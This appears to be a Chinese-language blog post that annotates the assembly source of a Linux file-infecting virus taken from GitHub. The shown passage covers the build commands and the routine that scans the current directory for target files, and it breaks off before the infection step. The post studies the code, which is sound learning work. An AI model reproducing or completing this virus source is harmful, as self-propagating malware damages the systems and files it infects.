用汇编编写一个病毒
在github上看到大神用汇编编写的linux病毒,学习一下
github地址:https://github.com/cranklin/cranky-data-virus/blob/master/cranky_data_virus.asm
源码分析:
;; nasm -f elf -F dwarf -g cranky_data_virus.asm ;; ld -m elf_i386 -e v_start -o cranky_data_virus cranky_data_virus.o section .text global v_start ;代码开始处 v_start: ; virus body start ; make space in the stack for some uninitialized variables to avoid a .bss section mov ecx, 2328 ; set counter to 2328 (x4 = 9312 bytes). filename (esp), buffer (esp+32), targets (esp+1056), targetfile (esp+2080)
;不断向栈上push 0,用作全局未初始化变量空间,依次push是4个字节
loop_bss: push 0x00 ; reserve 4 bytes (double word) of 0's sub ecx, 1 ; decrement our counter by 1 cmp ecx, 0 jbe loop_bss
;将这块空间的地址赋值给edi mov edi, esp ; esp has our fake .bss offset. Let's store it in edi for now. call folder
;这是可以在栈上分配空间的方式,当call执行的时候,EIP被压栈,这个样ebx在pop之后就指向了栈中的".",也就是说下面的open打开的是“.” db ".", 0 folder:
;目录就是“.” pop ebx ; name of the folder mov esi, 0 ; reset offset for targets mov eax, 5 ; sys_open mov ecx, 0 mov edx, 0 int 80h ;检查返回值,做错误处理 cmp eax, 0 ; check if fd in eax > 0 (ok) jbe v_stop ; cannot open file. Exit virus ;遍历“.” mov ebx, eax mov eax, 0xdc ; sys_getdents64
;将目录输出的地址设为前面分配的栈空间中,地址放在edi+32中 mov ecx, edi ; fake .bss section add ecx, 32 ; offset for buffer mov edx, 1024 int 80h mov eax, 6 ; close int 80h xor ebx, ebx ; zero out ebx as we will use it as the buffer offset ;这里从结果缓冲区中寻找0008这两个字节,应该是linux_dirent64结构前面的type等信息有固定模式 find_filename_start: ; look for the sequence 0008 which occurs before the start of a filename
;这里的ebx应该是作为字符串长度的指针,用1024和ebx做比较,当大于1024的时候直接跳转到infect,这应该是缓冲区长度不超过1024 inc ebx cmp ebx, 1024 jge infect
;edi+32就是存放目录遍历输出的地方,ebx就是向前的所索引,这里就是利用ebx不断向前读,直到找到0008这两个字符 cmp byte [edi+32+ebx], 0x00 ; edi+32 is buffer jnz find_filename_start inc ebx cmp byte [edi+32+ebx], 0x08 ; edi+32 is buffer jnz find_filename_start ;往缓冲区头部写入.和/,因为edi是内存区开始,edi+32才开始存放目录遍历的输出,这里是直接在edi处写入当前目录,ecx做位索引 xor ecx, ecx ; clear out ecx which will be our offset for file mov byte [edi+ecx], 0x2e ; prepend file with ./ for full path (.) edi is filename inc ecx mov byte [edi+ecx], 0x2f ; prepend file with ./ for full path (/) edi is filename inc ecx ;到这里。ebx作为索引,在sys_getdents的返回值中遍历字符串。ecx指向新建的字符串的末尾,两个都是共用一个缓冲区,新字符串从edi开始,而sys_getdents
;是从edi+32的位置开始存放结果 find_filename_end: ; look for the 00 which denotes the end of a filename inc ebx cmp ebx, 1024 jge infect ;这里将esi指向原sys_getdents返回结果(ebx表示结尾处),edi指向新的文件名字符串(ecx表示结尾处),然后使用movsb复制内容 push esi ; save our target offset mov esi, edi ; fake .bss add esi, 32 ; offset for buffer add esi, ebx ; set source push edi ; save our fake .bss add edi, ecx ; set destination to filename movsb ; moved byte from buffer to filename pop edi ; restore our fake .bss pop esi ; restore our target offset inc ecx ; increment offset stored in ecx ;复制文件名字符串直到末尾是‘